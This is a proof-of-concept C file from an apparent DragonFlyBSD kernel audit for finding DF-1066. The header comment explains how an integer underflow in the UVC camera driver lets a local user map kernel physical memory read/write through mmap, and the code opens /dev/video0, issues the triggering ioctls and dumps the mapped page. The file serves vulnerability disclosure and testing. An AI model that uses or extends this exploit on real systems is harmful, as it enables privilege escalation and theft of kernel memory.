DragonFlyBSD Kernel Audit
DF-1066 / poc_uvc_oob.c
← back to finding ↓ download raw
/*
 * DF-1066 trigger: integer underflow in uvc_buf_queue_mmap_locked().
 *
 *   max_offset = (uint64_t)(bq->buf_size * bq->buf_count) - PAGE_SIZE
 * underflows to 0xFFFFFFFFFFFFF000 when buf_size==0, so the offset>max_offset
 * check passes for essentially any kernel VA.  vtophys(bq->mem + offset) then
 * translates an attacker-chosen kernel VA into a physical page frame mapped
 * read/write into the process via the device pager.
 *
 * buf_size==0 is reachable when REQBUFS is called with len==0, which happens
 * when the camera probe returns dwMaxFrameSize==0 (malicious/failing camera).
 *
 * PRECONDITION: a UVC camera (whose probe returns dwMaxFrameSize==0, or a
 * malicious USB gadget) must be attached.  This guest has NO USB camera and no
 * /dev/video*, so the trigger cannot run here; the bug is confirmed by source
 * trace (see VERDICT.md).
 *
 * build: cc -o poc_uvc_oob poc_uvc_oob.c
 * run:   ./poc_uvc_oob            # as any local user
 */
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/mman.h>

#define V4L2_BUF_TYPE_VIDEO_CAPTURE 1
#define V4L2_MEMORY_MMAP            1
#define VIDIOC_S_FMT                0xC0CC5605U
#define VIDIOC_REQBUFS              0xC0CC5608U

struct v4l2_format { unsigned char _opaque[2048]; };

struct v4l2_requestbuffers {
	unsigned int count, type, memory;
	unsigned char _reserved[200];
};

int main(void)
{
	int fd = open("/dev/video0", O_RDWR);
	if (fd < 0) {
		perror("open /dev/video0");
		return 1;
	}

	struct v4l2_format f;
	memset(&f, 0, sizeof(f));
	ioctl(fd, VIDIOC_S_FMT, &f);   /* camera supplies dwMaxFrameSize=0 */

	struct v4l2_requestbuffers rb;
	memset(&rb, 0, sizeof(rb));
	rb.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
	rb.memory = V4L2_MEMORY_MMAP;
	rb.count = 1;
	ioctl(fd, VIDIOC_REQBUFS, &rb);   /* len==0 -> bq->buf_size==0, underflow */

	/* Crafted offset (here 0) becomes bq->mem+offset, translated by vtophys.
	 * On a vulnerable kernel this maps the physical page backing (bq->mem)
	 * read/write; iterating offset walks physical RAM. */
	size_t pgsize = 4096;
	void *p = mmap(NULL, pgsize, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
	if (p == MAP_FAILED) {
		perror("mmap");
		return 1;
	}
	printf("[*] mapped %zu bytes at %p via zero-len buf_size underflow\n",
	       pgsize, p);
	for (size_t i = 0; i < pgsize; i++)
		printf("%02x ", ((unsigned char *)p)[i]);
	printf("\n");

	close(fd);
	return 0;
}